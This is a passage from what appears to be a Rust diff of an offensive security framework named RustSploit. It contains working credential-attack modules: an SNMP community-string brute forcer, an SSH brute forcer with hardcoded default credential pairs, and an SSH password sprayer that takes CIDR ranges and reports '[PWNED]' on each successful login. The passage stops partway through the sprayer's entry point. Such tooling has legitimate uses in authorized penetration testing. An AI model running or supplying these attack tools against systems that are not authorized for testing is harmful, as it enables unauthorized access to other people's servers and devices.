if verbose_flag {
println!("\r{}", format!("[-] {} -> community: '{}'", addr_clone, community_clone).dimmed());
}
}
Err(e) => {
stats_clone.record_error(e.to_string()).await;
if verbose_flag {
println!("\r{}", format!("[!] {}: error: {}", addr_clone, e).red());
}
}
}
sleep(Duration::from_millis(10)).await;
}));
// Drain
while let std::task::Poll::Ready(Some(_)) = futures::future::poll_fn(|cx| std::task::Poll::Ready(tasks.poll_next_unpin(cx))).await {}
}
while let Some(_) = tasks.next().await {}
// Stop progress reporter
stop.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
// Print final statistics
stats.print_final().await;
let creds = found.lock().await;
if creds.is_empty() {
println!("{}", "[-] No valid community strings found.".yellow());
} else {
println!("{}", format!("[+] Found {} valid community string(s):", creds.len()).green().bold());
if let Ok(mut file) = std::fs::OpenOptions::new().create(true).append(true).open(&output_file) {
for (host, community) in creds.iter() {
println!(" {} -> community: '{}'", host, community);
let _ = writeln!(file, "{} -> community: '{}'", host, community);
}
println!("[+] Results saved to '{}'", output_file);
}
}
Ok(())
}
async fn try_snmp_community(
normalized_addr: &str,
community: &str,
version: u8, // 0 = v1, 1 = v2c
timeout: Duration,
) -> Result<bool> {
let community_owned = community.to_string();
let addr_owned = normalized_addr.to_string();
let result = spawn_blocking(move || -> Result<bool, anyhow::Error> {
// Parse the address
let addr: SocketAddr = addr_owned
.parse()
.map_err(|e| anyhow!("Invalid address '{}': {}", addr_owned, e))?;
// Create UDP socket
let socket = UdpSocket::bind("0.0.0.0:0")
.map_err(|e| anyhow!("Failed to bind socket: {}", e))?;
socket
.set_read_timeout(Some(timeout))
.map_err(|e| anyhow!("Failed to set read timeout: {}", e))?;
// Build SNMP GET request manually
// OID: 1.3.6.1.2.1.1.1.0 (sysDescr)
let message = build_snmp_get_request(&community_owned, version);
// Send request
socket
.send_to(&message, &addr)
.map_err(|e| anyhow!("Failed to send SNMP request: {}", e))?;
// Receive response
let mut buf = vec![0u8; 4096];
let result: bool = match socket.recv_from(&mut buf) {
Ok((size, _)) => {
let response = &buf[..size];
// Parse SNMP response to verify it's valid
// A valid SNMP response should:
// 1. Start with 0x30 (SEQUENCE)
// 2. Contain version, community, and PDU
// 3. Have error status = 0 (noError) in the response PDU
if size >= 20 && response[0] == 0x30 {
// Try to parse the response to check error status
// If we can parse it and error status is 0, it's valid
match parse_snmp_response(response) {
Ok(true) => true, // Valid community string
Ok(false) => false, // Invalid community (error in response)
Err(_) => {
// Can't parse, but got a response - might be valid
// Some devices send malformed responses but still indicate valid community
true
}
}
} else {
// Malformed response - likely invalid
false
}
}
Err(e) => {
// Handle timeout and EAGAIN/EWOULDBLOCK errors as invalid community
// EAGAIN (os error 11) can occur on Linux when socket would block
let error_kind = e.kind();
if error_kind == std::io::ErrorKind::TimedOut
|| error_kind == std::io::ErrorKind::WouldBlock
|| e.raw_os_error() == Some(11) // EAGAIN on Linux
|| e.raw_os_error() == Some(35) // EAGAIN on macOS
{
// Timeout or would block - community string is likely invalid
false
} else {
// Other errors might be transient, but log them
// For now, treat as invalid to avoid false positives
false
}
}
};
Ok(result)
})
.await
.map_err(|e| anyhow!("Task join error: {}", e))?;
result
}
/// Parses SNMP response to check if error status is 0 (noError)
/// Returns Ok(true) if valid, Ok(false) if error status != 0, Err if can't parse
fn parse_snmp_response(response: &[u8]) -> Result<bool> {
if response.len() < 20 || response[0] != 0x30 {
return Err(anyhow!("Invalid SNMP response header"));
}
// Try to find the PDU (GetResponse-PDU = 0xa2)
// The structure is: SEQUENCE (version, community, PDU)
// We need to skip version and community to get to the PDU
let mut pos = 1;
// Skip length of outer SEQUENCE
if pos >= response.len() {
return Err(anyhow!("Response too short"));
}
let (_len, len_bytes) = parse_ber_length(&response[pos..])?;
pos += len_bytes;
// Skip version (INTEGER)
if pos >= response.len() || response[pos] != 0x02 {
return Err(anyhow!("Invalid version field"));
}
pos += 1;
let (vlen, vlen_bytes) = parse_ber_length(&response[pos..])?;
pos += vlen_bytes + vlen;
// Skip community (OCTET STRING)
if pos >= response.len() || response[pos] != 0x04 {
return Err(anyhow!("Invalid community field"));
}
pos += 1;
let (clen, clen_bytes) = parse_ber_length(&response[pos..])?;
pos += clen_bytes + clen;
// Now we should be at the PDU
// GetResponse-PDU = 0xa2, GetRequest-PDU = 0xa0
if pos >= response.len() {
return Err(anyhow!("Response too short for PDU"));
}
let pdu_tag = response[pos];
if pdu_tag != 0xa2 && pdu_tag != 0xa0 {
// Not a GetResponse or GetRequest, might be an error
return Ok(false);
}
pos += 1;
let (_pdu_len, pdu_len_bytes) = parse_ber_length(&response[pos..])?;
pos += pdu_len_bytes;
// PDU structure: request-id, error-status, error-index, variable-bindings
// Skip request-id (INTEGER)
if pos >= response.len() || response[pos] != 0x02 {
return Err(anyhow!("Invalid request-id field"));
}
pos += 1;
let (rid_len, rid_len_bytes) = parse_ber_length(&response[pos..])?;
pos += rid_len_bytes + rid_len;
// Read error-status (INTEGER)
if pos >= response.len() || response[pos] != 0x02 {
return Err(anyhow!("Invalid error-status field"));
}
pos += 1;
let (es_len, es_len_bytes) = parse_ber_length(&response[pos..])?;
if es_len == 0 || pos + es_len_bytes + es_len > response.len() {
return Err(anyhow!("Invalid error-status length"));
}
// Read the error status value
let error_status = if es_len == 1 {
response[pos + es_len_bytes] as u32
} else {
// Multi-byte integer (shouldn't happen for error status, but handle it)
let mut val = 0u32;
for i in 0..es_len {
val = (val << 8) | (response[pos + es_len_bytes + i] as u32);
}
val
};
// Error status 0 = noError, anything else is an error
Ok(error_status == 0)
}
/// Parses BER length field
/// Returns (length_value, number_of_bytes_consumed)
fn parse_ber_length(data: &[u8]) -> Result<(usize, usize)> {
if data.is_empty() {
return Err(anyhow!("Empty length field"));
}
let first_byte = data[0];
if (first_byte & 0x80) == 0 {
// Short form: single byte
Ok((first_byte as usize, 1))
} else {
// Long form: first byte indicates number of length bytes
let num_bytes = (first_byte & 0x7F) as usize;
if num_bytes == 0 {
return Err(anyhow!("Indefinite length not supported"));
}
if num_bytes > 4 {
return Err(anyhow!("Length field too large"));
}
if data.len() < 1 + num_bytes {
return Err(anyhow!("Not enough bytes for length field"));
}
let mut length = 0usize;
for i in 0..num_bytes {
length = (length << 8) | (data[1 + i] as usize);
}
Ok((length, 1 + num_bytes))
}
}
/// Builds a simple SNMP GET request packet manually
/// This is a simplified implementation that creates a basic SNMPv1/v2c GET request
fn build_snmp_get_request(community: &str, version: u8) -> Vec<u8> {
// Build components first, then assemble with proper length encoding
// OID for sysDescr: 1.3.6.1.2.1.1.1.0
let oid_encoded = encode_oid_value(&[1, 3, 6, 1, 2, 1, 1, 1, 0]);
let oid_tlv = build_tlv(0x06, &oid_encoded); // 0x06 = OBJECT IDENTIFIER
// NULL value
let null_tlv = vec![0x05, 0x00]; // NULL type, length 0
// VarBind: SEQUENCE of (OID, NULL)
let mut var_bind = Vec::new();
var_bind.extend_from_slice(&oid_tlv);
var_bind.extend_from_slice(&null_tlv);
let var_bind_tlv = build_tlv(0x30, &var_bind); // 0x30 = SEQUENCE
// VarBindList: SEQUENCE of VarBind
let mut var_bind_list_content = Vec::new();
var_bind_list_content.extend_from_slice(&var_bind_tlv);
let var_bind_list_tlv = build_tlv(0x30, &var_bind_list_content); // 0x30 = SEQUENCE
// Request ID
let request_id_tlv = encode_integer_tlv(1u32);
// Error status (0 = noError)
let error_status_tlv = encode_integer_tlv(0u32);
// Error index (0 = noError)
let error_index_tlv = encode_integer_tlv(0u32);
// PDU: GetRequest-PDU
let mut pdu_content = Vec::new();
pdu_content.extend_from_slice(&request_id_tlv);
pdu_content.extend_from_slice(&error_status_tlv);
pdu_content.extend_from_slice(&error_index_tlv);
pdu_content.extend_from_slice(&var_bind_list_tlv);
let pdu_tlv = build_tlv(0xa0, &pdu_content); // 0xa0 = GetRequest-PDU
// Version
let version_tlv = encode_integer_tlv(version as u32);
// Community string
let community_bytes = community.as_bytes();
let community_tlv = build_tlv(0x04, community_bytes); // 0x04 = OCTET STRING
// SNMP Message: SEQUENCE of (version, community, PDU)
let mut message_content = Vec::new();
message_content.extend_from_slice(&version_tlv);
message_content.extend_from_slice(&community_tlv);
message_content.extend_from_slice(&pdu_tlv);
let message = build_tlv(0x30, &message_content); // 0x30 = SEQUENCE
message
}
/// Builds a TLV (Type-Length-Value) structure
fn build_tlv(tag: u8, value: &[u8]) -> Vec<u8> {
let mut result = Vec::new();
result.push(tag);
let length = value.len();
if length < 128 {
// Short form: single byte length
result.push(length as u8);
} else {
// Long form: first byte is 0x80 | num_bytes, followed by length bytes (big-endian)
// Calculate how many bytes we need for the length
let mut len = length;
let mut num_bytes = 0;
let mut len_bytes = Vec::new();
while len > 0 {
len_bytes.push((len & 0xFF) as u8);
len >>= 8;
num_bytes += 1;
}
// Reverse to get big-endian representation
len_bytes.reverse();
// First byte: 0x80 | number of length bytes
result.push(0x80 | (num_bytes as u8));
result.extend_from_slice(&len_bytes);
}
result.extend_from_slice(value);
result
}
/// Encodes an integer as a TLV (signed integer, but we use it for unsigned values)
fn encode_integer_tlv(value: u32) -> Vec<u8> {
let mut bytes = Vec::new();
if value == 0 {
bytes.push(0);
} else {
let mut val = value;
// Encode as big-endian, using minimum number of bytes
// For values that would have high bit set, we need an extra zero byte
// to ensure it's interpreted as positive
while val > 0 {
bytes.push((val & 0xFF) as u8);
val >>= 8;
}
bytes.reverse();
// If high bit is set, prepend 0x00 to make it positive
if bytes[0] & 0x80 != 0 {
bytes.insert(0, 0x00);
}
}
build_tlv(0x02, &bytes) // 0x02 = INTEGER
}
/// Encodes OID value (without the TLV wrapper)
fn encode_oid_value(oid: &[u32]) -> Vec<u8> {
let mut encoded = Vec::new();
if oid.len() >= 2 {
// First two sub-identifiers are encoded as: first * 40 + second
encoded.push((oid[0] * 40 + oid[1]) as u8);
for &sub_id in &oid[2..] {
encode_sub_id(sub_id, &mut encoded);
}
}
encoded
}
/// Encodes a sub-identifier using base-128 encoding
fn encode_sub_id(mut value: u32, output: &mut Vec<u8>) {
let mut bytes = Vec::new();
if value == 0 {
bytes.push(0);
} else {
while value > 0 {
bytes.push((value & 0x7F) as u8);
value >>= 7;
}
bytes.reverse();
// Set high bit on all but last byte
for i in 0..bytes.len() - 1 {
bytes[i] |= 0x80;
}
}
output.extend_from_slice(&bytes);
}
+444
View File
@@ -0,0 +1,444 @@
use anyhow::{anyhow, Result};
use colored::*;
use ssh2::Session;
use std::{
net::TcpStream,
sync::atomic::{AtomicBool, Ordering},
sync::Arc,
time::Duration,
io::Write,
};
use tokio::{
sync::{Mutex, Semaphore},
task::spawn_blocking,
time::{sleep, timeout},
};
use futures::stream::{FuturesUnordered, StreamExt};
use crate::utils::{
normalize_target, prompt_default, prompt_yes_no,
prompt_existing_file, load_lines, get_filename_in_current_dir
};
use crate::modules::creds::utils::BruteforceStats;
// Constants
const DEFAULT_SSH_PORT: u16 = 22;
const PROGRESS_INTERVAL_SECS: u64 = 2;
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
("root", "root"),
("admin", "admin"),
("user", "user"),
("guest", "guest"),
("root", "123456"),
("admin", "123456"),
("root", "password"),
("admin", "password"),
("root", ""),
("admin", ""),
("ubuntu", "ubuntu"),
("test", "test"),
("oracle", "oracle"),
];
pub async fn run(target: &str) -> Result<()> {
println!("{}", "=== SSH Brute Force Module ===".bold());
println!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("SSH Port", &DEFAULT_SSH_PORT.to_string()).await?;
match input.parse() {
Ok(p) if p > 0 => break p,
_ => println!("{}", "Invalid port. Must be between 1 and 65535.".yellow()),
}
};
// Ask about default credentials
let use_defaults = prompt_yes_no("Try default credentials first?", true).await?;
let usernames_file = if prompt_yes_no("Use username wordlist?", true).await? {
Some(prompt_existing_file("Username wordlist").await?)
} else {
None
};
let passwords_file = if prompt_yes_no("Use password wordlist?", true).await? {
Some(prompt_existing_file("Password wordlist").await?)
} else {
None
};
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
return Err(anyhow!("At least one wordlist or default credentials must be enabled"));
}
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10").await?;
match input.parse() {
Ok(n) if n > 0 && n <= 256 => break n,
_ => println!("{}", "Invalid number. Must be between 1 and 256.".yellow()),
}
};
let connection_timeout: u64 = loop {
let input = prompt_default("Connection timeout (seconds)", "5").await?;
match input.parse() {
Ok(n) if n >= 1 && n <= 60 => break n,
_ => println!("{}", "Invalid timeout. Must be between 1 and 60 seconds.".yellow()),
}
};
let retry_on_error = prompt_yes_no("Retry on connection errors?", true).await?;
let max_retries: usize = if retry_on_error {
loop {
let input = prompt_default("Max retries per attempt", "2").await?;
match input.parse() {
Ok(n) if n > 0 && n <= 10 => break n,
_ => println!("{}", "Invalid retries. Must be between 1 and 10.".yellow()),
}
}
} else {
0
};
let stop_on_success = prompt_yes_no("Stop on first success?", true).await?;
let save_results = prompt_yes_no("Save results to file?", true).await?;
let save_path = if save_results {
Some(prompt_default("Output file", "ssh_brute_results.txt").await?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false).await?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false).await?;
let connect_addr = normalize_target(&format!("{}:{}", target, port)).unwrap_or_else(|_| format!("{}:{}", target, port));
println!("\n{}", format!("[*] Starting brute-force on {}", connect_addr).cyan());
// Load wordlists
let mut usernames = Vec::new();
if let Some(ref file) = usernames_file {
usernames = load_lines(file)?;
if usernames.is_empty() {
println!("{}", "[!] Username wordlist is empty.".yellow());
} else {
println!("{}", format!("[*] Loaded {} usernames", usernames.len()).green());
}
}
let mut passwords = Vec::new();
if let Some(ref file) = passwords_file {
passwords = load_lines(file)?;
if passwords.is_empty() {
println!("{}", "[!] Password wordlist is empty.".yellow());
} else {
println!("{}", format!("[*] Loaded {} passwords", passwords.len()).green());
}
}
// Add default credentials if requested
if use_defaults {
for (user, pass) in DEFAULT_CREDENTIALS {
if !usernames.contains(&user.to_string()) {
usernames.push(user.to_string());
}
if !passwords.contains(&pass.to_string()) {
passwords.push(pass.to_string());
}
}
println!("{}", format!("[*] Added {} default credentials", DEFAULT_CREDENTIALS.len()).green());
}
if usernames.is_empty() {
return Err(anyhow!("No usernames available"));
}
if passwords.is_empty() {
return Err(anyhow!("No passwords available"));
}
// Calculate total attempts
let total_attempts = if combo_mode {
usernames.len() * passwords.len()
} else {
passwords.len()
};
println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan());
println!();
let found = Arc::new(Mutex::new(Vec::new()));
let unknown = Arc::new(Mutex::new(Vec::<(String, String, String, String)>::new()));
let stop = Arc::new(AtomicBool::new(false));
let stats = Arc::new(BruteforceStats::new());
let semaphore = Arc::new(Semaphore::new(concurrency));
let timeout_duration = Duration::from_secs(connection_timeout);
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop.clone();
let progress_handle = tokio::spawn(async move {
loop {
if stop_clone.load(Ordering::Relaxed) {
break;
}
stats_clone.print_progress();
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
}
});
let mut tasks = FuturesUnordered::new();
let mut user_cycle_idx = 0usize;
for pass in passwords.iter() {
if stop_on_success && stop.load(Ordering::Relaxed) {
break;
}
let selected_users: Vec<String> = if combo_mode {
usernames.iter().cloned().collect()
} else {
if usernames.is_empty() {
Vec::new()
} else {
let user = usernames[user_cycle_idx % usernames.len()].clone();
user_cycle_idx += 1;
vec![user]
}
};
for user in selected_users {
if stop_on_success && stop.load(Ordering::Relaxed) {
break;
}
let addr_clone = connect_addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let found_clone = Arc::clone(&found);
let unknown_clone = Arc::clone(&unknown);
let stop_clone = Arc::clone(&stop);
let stats_clone = Arc::clone(&stats);
let semaphore_clone = semaphore.clone();
let timeout_clone = timeout_duration;
let stop_flag = stop_on_success;
let verbose_flag = verbose;
let retry_flag = retry_on_error;
let max_retries_clone = max_retries;
tasks.push(tokio::spawn(async move {
if stop_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
// Acquire semaphore permit inside the spawned task
let _permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
let mut retries = 0;
loop {
match try_ssh_login(&addr_clone, &user_clone, &pass_clone, timeout_clone).await {
Ok(true) => {
println!("\r{}", format!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone).green());
let mut found_guard = found_clone.lock().await;
// Check if already found to avoid duplicates
let entry = (addr_clone.clone(), user_clone.clone(), pass_clone.clone());
if !found_guard.contains(&entry) {
found_guard.push(entry);
}
stats_clone.record_attempt(true, false);
if stop_flag {
stop_clone.store(true, Ordering::Relaxed);
}
break;
}
Ok(false) => {
stats_clone.record_attempt(false, false);
if verbose_flag {
println!("\r{}", format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone).dimmed());
}
break;
}
Err(e) => {
stats_clone.record_attempt(false, true);
let msg = e.to_string();
if retry_flag && retries < max_retries_clone {
retries += 1;
stats_clone.record_retry();
if verbose_flag {
println!(
"\r{}",
format!(
"[!] {} -> {}:{} (retry {}/{}) - {}",
addr_clone,
user_clone,
pass_clone,
retries,
max_retries_clone,
msg
)
.yellow()
);
}
sleep(Duration::from_millis(500)).await;
continue;
} else {
{
let mut unk = unknown_clone.lock().await;
unk.push((
addr_clone.clone(),
user_clone.clone(),
pass_clone.clone(),
msg.clone(),
));
}
if verbose_flag {
println!(
"\r{}",
format!(
"[?] {} -> {}:{} error/unknown: {}",
addr_clone, user_clone, pass_clone, msg
)
.yellow()
);
}
break;
}
}
}
}
}));
}
}
// Wait for all tasks with FuturesUnordered
while let Some(res) = tasks.next().await {
if let Err(e) = res {
if verbose {
println!("\r{}", format!("[!] Task error: {}", e).red());
}
}
}
stop.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
stats.print_final().await;
let creds = found.lock().await;
if creds.is_empty() {
println!("\n{}", "[-] No credentials found.".yellow());
} else {
println!("\n{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
for (host, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host, user, pass);
}
if let Some(path_str) = save_path {
let filename = get_filename_in_current_dir(&path_str);
// Use std::fs::File for simple writing
use std::fs::File;
let mut file = File::create(&filename)?;
for (host, user, pass) in creds.iter() {
writeln!(file, "{} -> {}:{}", host, user, pass)?;
}
file.flush()?;
println!("{}", format!("[+] Results saved to '{}'", filename.display()).green());
}
}
drop(creds);
// Unknown / errored attempts
let unknown_guard = unknown.lock().await;
if !unknown_guard.is_empty() {
println!(
"{}",
format!(
"[?] Collected {} unknown/errored SSH responses.",
unknown_guard.len()
)
.yellow()
.bold()
);
if prompt_yes_no("Save unknown responses to file?", true).await? {
let default_name = "ssh_unknown_responses.txt";
let fname = prompt_default(
&format!(
"What should the unknown results be saved as? (default: {})",
default_name
),
default_name,
).await?;
let filename = get_filename_in_current_dir(&fname);
use std::fs::File;
match File::create(&filename) {
Ok(mut file) => {
writeln!(
file,
"# SSH Bruteforce Unknown/Errored Responses (host,user,pass,error)"
)?;
for (host, user, pass, msg) in unknown_guard.iter() {
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
}
file.flush()?;
println!(
"{}",
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
);
}
Err(e) => {
println!(
"{}",
format!(
"[!] Could not create unknown response file '{}': {}",
filename.display(),
e
)
.red()
);
}
}
}
}
Ok(())
}
async fn try_ssh_login(
normalized_addr: &str,
user: &str,
pass: &str,
timeout_duration: Duration,
) -> Result<bool> {
let user_owned = user.to_string();
let pass_owned = pass.to_string();
let addr_owned = normalized_addr.to_string();
let handle = spawn_blocking(move || {
let tcp = TcpStream::connect(&addr_owned)
.map_err(|e| anyhow!("Connection error: {}", e))?;
let mut sess = Session::new()
.map_err(|e| anyhow!("Failed to create SSH session: {}", e))?;
sess.set_tcp_stream(tcp);
sess.handshake()
.map_err(|e| anyhow!("SSH handshake failed: {}", e))?;
sess.userauth_password(&user_owned, &pass_owned)
.map_err(|e| anyhow!("Authentication failed: {}", e))?;
Ok(sess.authenticated())
});
let join_result = timeout(timeout_duration, handle)
.await
.map_err(|_| anyhow!("Connection timeout"))?;
join_result.map_err(|e| anyhow!("Join error: {}", e))?
}
+494
View File
@@ -0,0 +1,494 @@
//! SSH Password Spray Module
//!
//! Based on SSHPWN framework - sprays single password across multiple targets/users.
//! Useful for avoiding account lockouts while testing common passwords.
//!
//! For authorized penetration testing only.
use anyhow::{anyhow, Result};
use colored::*;
use ssh2::Session;
use std::{
collections::HashSet,
fs::File,
io::{BufRead, BufReader, Write},
net::TcpStream,
sync::{
atomic::{AtomicBool, AtomicU64, Ordering},
Arc,
},
time::{Duration, Instant},
};
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
use anyhow::Context;
use tokio::{
sync::Semaphore,
task::spawn_blocking,
time::sleep,
};
use ipnetwork::IpNetwork;
const DEFAULT_SSH_PORT: u16 = 22;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
const DEFAULT_THREADS: usize = 20;
const PROGRESS_INTERVAL_SECS: u64 = 2;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ SSH Password Spray ║".cyan());
println!("{}", "║ Spray single password across multiple targets/users ║".cyan());
println!("{}", "║ ║".cyan());
println!("{}", "║ Benefits: ║".cyan());
println!("{}", "║ - Avoids account lockouts ║".cyan());
println!("{}", "║ - Tests common passwords across many hosts ║".cyan());
println!("{}", "║ - Efficient for large network assessments ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Normalize target for connection
fn normalize_target(target: &str) -> String {
let trimmed = target.trim();
if trimmed.starts_with('[') && trimmed.contains(']') {
trimmed.to_string()
} else if trimmed.contains(':') && !trimmed.contains('.') {
format!("[{}]", trimmed)
} else {
trimmed.to_string()
}
}
/// Statistics tracking
struct Statistics {
total_attempts: AtomicU64,
successful: AtomicU64,
failed: AtomicU64,
errors: AtomicU64,
start_time: Instant,
}
impl Statistics {
fn new() -> Self {
Self {
total_attempts: AtomicU64::new(0),
successful: AtomicU64::new(0),
failed: AtomicU64::new(0),
errors: AtomicU64::new(0),
start_time: Instant::now(),
}
}
fn record_attempt(&self, success: bool, error: bool) {
self.total_attempts.fetch_add(1, Ordering::Relaxed);
if error {
self.errors.fetch_add(1, Ordering::Relaxed);
} else if success {
self.successful.fetch_add(1, Ordering::Relaxed);
} else {
self.failed.fetch_add(1, Ordering::Relaxed);
}
}
fn print_progress(&self) {
let total = self.total_attempts.load(Ordering::Relaxed);
let success = self.successful.load(Ordering::Relaxed);
let failed = self.failed.load(Ordering::Relaxed);
let errors = self.errors.load(Ordering::Relaxed);
let elapsed = self.start_time.elapsed().as_secs_f64();
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
print!(
"\r{} {} attempts | {} OK | {} fail | {} err | {:.1}/s ",
"[Progress]".cyan(),
total.to_string().bold(),
success.to_string().green(),
failed,
errors.to_string().red(),
rate
);
let _ = std::io::Write::flush(&mut std::io::stdout());
}
fn print_summary(&self) {
println!();
println!("{}", "=== Spray Summary ===".cyan().bold());
println!("Total attempts: {}", self.total_attempts.load(Ordering::Relaxed));
println!("Successful: {}", self.successful.load(Ordering::Relaxed).to_string().green());
println!("Failed: {}", self.failed.load(Ordering::Relaxed));
println!("Errors: {}", self.errors.load(Ordering::Relaxed));
println!("Elapsed: {:.2}s", self.start_time.elapsed().as_secs_f64());
}
}
/// Credential result
#[derive(Clone, Debug)]
pub struct SprayResult {
pub host: String,
pub port: u16,
pub username: String,
pub password: String,
}
/// Try SSH authentication
fn try_ssh_auth(host: &str, port: u16, username: &str, password: &str, timeout_secs: u64) -> Result<bool> {
let addr = format!("{}:{}", host, port);
let tcp = TcpStream::connect_timeout(
&addr.parse()?,
Duration::from_secs(timeout_secs),
)?;
tcp.set_read_timeout(Some(Duration::from_secs(timeout_secs)))?;
tcp.set_write_timeout(Some(Duration::from_secs(timeout_secs)))?;
let mut sess = Session::new()?;
sess.set_tcp_stream(tcp);
sess.handshake()?;
match sess.userauth_password(username, password) {
Ok(_) => Ok(sess.authenticated()),
Err(_) => Ok(false),
}
}
/// Parse targets from string (CIDR, range, single IP)
fn parse_targets(spec: &str, port: u16) -> Vec<(String, u16)> {
let mut targets = Vec::new();
for s in spec.split(&[',', ' ', '\n'][..]) {
let s = s.trim();
if s.is_empty() {
continue;
}
// Try CIDR
if s.contains('/') {
if let Ok(network) = s.parse::<IpNetwork>() {
for ip in network.iter().take(65536) {
targets.push((ip.to_string(), port));
}
continue;
}
}
// Try IP range (e.g., 192.168.1.1-254)
if s.contains('-') && s.contains('.') {
let parts: Vec<&str> = s.rsplitn(2, '.').collect();
if parts.len() == 2 {
if let Some((start_str, end_str)) = parts[0].split_once('-') {
if let (Ok(start), Ok(end)) = (start_str.parse::<u8>(), end_str.parse::<u8>()) {
let base = parts[1];
for i in start..=end {
targets.push((format!("{}.{}", base, i), port));
}
continue;
}
}
}
}
// Single IP/hostname
targets.push((s.to_string(), port));
}
targets
}
/// Load list from file
fn load_list_from_file(path: &str) -> Result<Vec<String>> {
let file = File::open(path)?;
let reader = BufReader::new(file);
let items: Vec<String> = reader
.lines()
.filter_map(|l| l.ok())
.map(|l| l.trim().to_string())
.filter(|l| !l.is_empty() && !l.starts_with('#'))
.collect();
Ok(items)
}
/// Main spray function
pub async fn password_spray(
targets: Vec<(String, u16)>,
usernames: &[String],
password: &str,
threads: usize,
timeout_secs: u64,
) -> Vec<SprayResult> {
let total = targets.len() * usernames.len();
println!("{}", format!("[*] Spraying '{}' against {} targets, {} users ({} total attempts)",
password, targets.len(), usernames.len(), total).cyan());
let results = Arc::new(tokio::sync::Mutex::new(Vec::new()));
let stats = Arc::new(Statistics::new());
let semaphore = Arc::new(Semaphore::new(threads));
let stop = Arc::new(AtomicBool::new(false));
// Progress reporter
let stats_clone = Arc::clone(&stats);
let stop_clone = Arc::clone(&stop);
let progress_handle = tokio::spawn(async move {
while !stop_clone.load(Ordering::Relaxed) {
stats_clone.print_progress();
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
}
});
// Spray tasks
let mut handles = Vec::new();
for (host, port) in targets {
for user in usernames {
let semaphore = Arc::clone(&semaphore);
let results = Arc::clone(&results);
let stats = Arc::clone(&stats);
let host = host.clone();
let user = user.clone();
let password = password.to_string();
let handle = tokio::spawn(async move {
let _permit = semaphore.acquire().await.unwrap();
let host_clone = host.clone();
let user_clone = user.clone();
let pass_clone = password.clone();
let result = spawn_blocking(move || {
try_ssh_auth(&host_clone, port, &user_clone, &pass_clone, timeout_secs)
}).await;
match result {
Ok(Ok(true)) => {
stats.record_attempt(true, false);
let cred = SprayResult {
host: host.clone(),
port,
username: user.clone(),
password: password.clone(),
};
println!("\r{}", format!("[PWNED] {}:{} @ {}:{}", user, password, host, port).red().bold());
let _ = std::io::Write::flush(&mut std::io::stdout());
results.lock().await.push(cred);
}
Ok(Ok(false)) => {
stats.record_attempt(false, false);
}
_ => {
stats.record_attempt(false, true);
}
}
});
handles.push(handle);
}
}
// Wait for all tasks
for handle in handles {
let _ = handle.await;
}
// Stop progress reporter
stop.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
// Print summary
stats.print_summary();
let results = results.lock().await;
results.clone()
}
/// Save results to file
fn save_results(results: &[SprayResult], path: &str) -> Result<()> {
let mut file = File::create(path)?;
writeln!(file, "# SSH Password Spray Results")?;
writeln!(file, "# Generated by RustSploit")?;
writeln!(file, "# Total: {} credentials found", results.len())?;
writeln!(file)?;
for result in results {
writeln!(file, "{}:{} @ {}:{}", result.username, result.password, result.host, result.port)?;
}
println!("{}", format!("[+] Results saved to: {}", path).green());
Ok(())
}
/// Prompt helper
async fn prompt(message: &str) -> Result<String> {
print!("{}: ", message);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
Ok(input.trim().to_string())
}
async fn prompt_default(message: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", message, default);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim();
if trimmed.is_empty() {
Ok(default.to_string())
} else {
Ok(trimmed.to_string())
}
}
async fn prompt_yes_no(message: &str, default: bool) -> Result<bool> {
let hint = if default { "Y/n" } else { "y/N" };
print!("{} [{}]: ", message, hint);
tokio::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
.read_line(&mut input)
.await
.context("Failed to read input")?;
let trimmed = input.trim().to_lowercase();
match trimmed.as_str() {
"" => Ok(default),
"y" | "yes" => Ok(true),
"n" | "no" => Ok(false),
_ => Ok(default),
}
}
/// Default usernames to spray
const DEFAULT_USERNAMES: &[&str] = &[
"root", "admin", "user", "administrator", "ubuntu",
"guest", "test", "oracle", "postgres", "mysql",
];
/// Main entry point
pub async fn run(target: &str) -> Result<()> {
display_banner();
// Get password to spray
let password = prompt("Password to spray").await?;
if password.is_empty() {
return Err(anyhow!("Password is required"));
}
// Get port
let port: u16 = prompt_default("SSH Port", "22").await?.parse().unwrap_or(DEFAULT_SSH_PORT);
// Get targets
let mut targets = Vec::new();
// Add initial target
let host = normalize_target(target);
if !host.is_empty() {
println!("{}", format!("[*] Initial target: {}", host).cyan());
targets.extend(parse_targets(&host, port));
}
// Get additional targets
